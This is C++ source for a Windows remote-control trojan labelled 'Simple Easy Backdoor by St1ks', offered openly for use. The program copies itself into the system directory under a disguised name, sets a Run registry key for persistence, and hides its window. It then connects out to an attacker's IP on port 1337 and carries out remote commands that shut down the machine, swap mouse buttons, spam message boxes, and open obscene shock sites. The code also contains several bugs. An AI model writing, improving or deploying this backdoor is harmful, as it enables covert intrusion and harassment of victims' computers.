Simple Easy Backdoor by St1ks

// Simple Easy Backdoor Server by St1ks

#include <winsock2.h>
#include <iostream>
#include <windows.h>
using namespace std;
char Windir[MAX_PATH];
char Module[MAX_PATH];
char cmd[MAX_PATH]="";


void shock()
{
system("start www.goatse.cx");
system("start www.tubgirl.com");
system("start www.LemonParty.org");
system("start www.Whoomp.org");
system("start www.Yellaface.com");
system("start www.thewillpower.com");
}

void GetPaths()
{
   GetSystemDirectory(Windir, sizeof(Windir));
   GetModuleFileName(0, Module, sizeof(Module));
   strcat(Windir, "\\WindowsAPICalls.exe");
}

void Install()
{
   CopyFile(Module,Windir,0);

   HKEY Install;
   RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", &Install);
   RegSetValueEx(Install, "Windows API Calls", 0, REG_SZ, (LPBYTE)Windir, sizeof(Windir));
   RegCloseKey(Install);
}
int exit()
{
   return 0;
}


SOCKET Socket;


void message()
{
int x=1;
while(x<30)
{
MessageBox(NULL, "Oh No", ".........", MB_OK);
x++;
}
}

void Shutdown()
{
system("shutdown -s -t 5");
}
void beep()
{
Beep(8000, 12000);
}
void OpenCloseCDTray()
{
   mciSendString("set cdaudio door open", 0, 0, 0);
   mciSendString("set cdaudio door open", 0, 0, 0);
}
void mouse()
{
float x, y, z;
x=rand()%800;
y=rand()%800;
z=1;
while(z<10);
{
SetCursorPos(x, y);
z++;
}
}
void Bomb()
{
   HWND hwnd;
   char Notepad[MAX_PATH]="notepad.exe";
   for(;;)
   {
   ShellExecute(hwnd,"open",Notepad,NULL,NULL,SW_MAXIMIZE);
   }
}

void LeftMouse()
{
   SwapMouseButton(true);
}

void RightMouse()
{
   SwapMouseButton(false);
}

int ServerInitialize()
{
   char IP[MAX_PATH];


   WSADATA wsaData;
   int iResult;
   iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
   if ( iResult != NO_ERROR )
   {
       cout << "Error at WSAStartup()\n";
       cin.ignore();
       return 0;
   }
   else
   {
       cout << "Winsock intialized.\n";
   }

   Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
   if (Socket == INVALID_SOCKET)
   {
       cout << "Error at socket(): %ld\n",WSAGetLastError();
       WSACleanup();
       cin.ignore();
       return 0;
   }
   else
   {
       cout << "Socket initialized" << "\n";
   }

   sockaddr_in clientService;
   clientService.sin_family = AF_INET;
   clientService.sin_addr.s_addr = inet_addr( "IP to connect to");
   clientService.sin_port = htons(1337);
   cout<<"HI";
   if (connect(Socket, (SOCKADDR*) &clientService, sizeof(clientService)) == SOCKET_ERROR)
   {
       cout << "Failed to connect.\n";
       WSACleanup();
       cin.ignore();
       return 0;
   }

   else
   {
     cout << "Connected to server." << "\n";
   }
}
void Receive()
{
   for(;;)
   {
       char Choice[MAX_PATH]="";
       cout << "Waiting for commands, sir!" << "\n";
       recv(Socket, Choice, sizeof(Choice), 0);
       cout << Choice << "\n";
       if (!strcmp(Choice,"1"))
           {
               LeftMouse();
               const char c_LeftMouse[MAX_PATH]={"Mouse changed; left."};
               send(Socket,c_LeftMouse, sizeof(c_LeftMouse),0);
           }
       if (!strcmp(Choice,"2"))
           {
               RightMouse();
               const char c_RightMouse[MAX_PATH]={"Mouse changed; right."};
               send(Socket,c_RightMouse, sizeof(c_RightMouse),0);
           }
       if (!strcmp(Choice,"3"))
           {
               OpenCloseCDTray();
               const char c_CDTray[MAX_PATH]={"CD Tray opened.  Closed if not on a laptop."};
               send(Socket,c_CDTray, sizeof(c_CDTray),0);
           }
       if (!strcmp(Choice,"4"))
           {
               Shutdown();
               const char c_Shutdown[MAX_PATH]={"Shutdown initiated."};
               send(Socket,c_Shutdown, sizeof(c_Shutdown),0);
           }
                if (!strcmp(Choice,"5"))
           {
               beep();
               const char c_beep[MAX_PATH]={"Beeped."};
               send(Socket,c_beep, sizeof(c_beep),0);
           }
                if (!strcmp(Choice,"6"))
           {
               mouse();
               const char c_mouse[MAX_PATH]={"mouse moved."};
               send(Socket,c_mouse, sizeof(c_mouse),0);
           }
           if (!strcmp(Choice,"6"))
           {
               message();
               const char c_message[MAX_PATH]={"Message Sent"};
               send(Socket,c_message, sizeof(c_message),0);
           }
            if (!strcmp(Choice,"7"))
           {
               shock();
               const char c_shock[MAX_PATH]={"Shocked\n"};
               send(Socket,c_shock, sizeof(c_shock),0);
           }
   }
}



int main()
{


   if(!strcmp(Windir,Module))
   {
   SetConsoleTitle("..");
 HWND  hide = FindWindow(NULL, "..");
 ShowWindow(hide, 0);
       ServerInitialize();
       Receive();

   }
   else
   {
   SetConsoleTitle("..");
   HWND  hide = FindWindow(NULL, "..");
   ShowWindow(hide, 0);
       ServerInitialize();
       Receive();
   }
   return 0;
}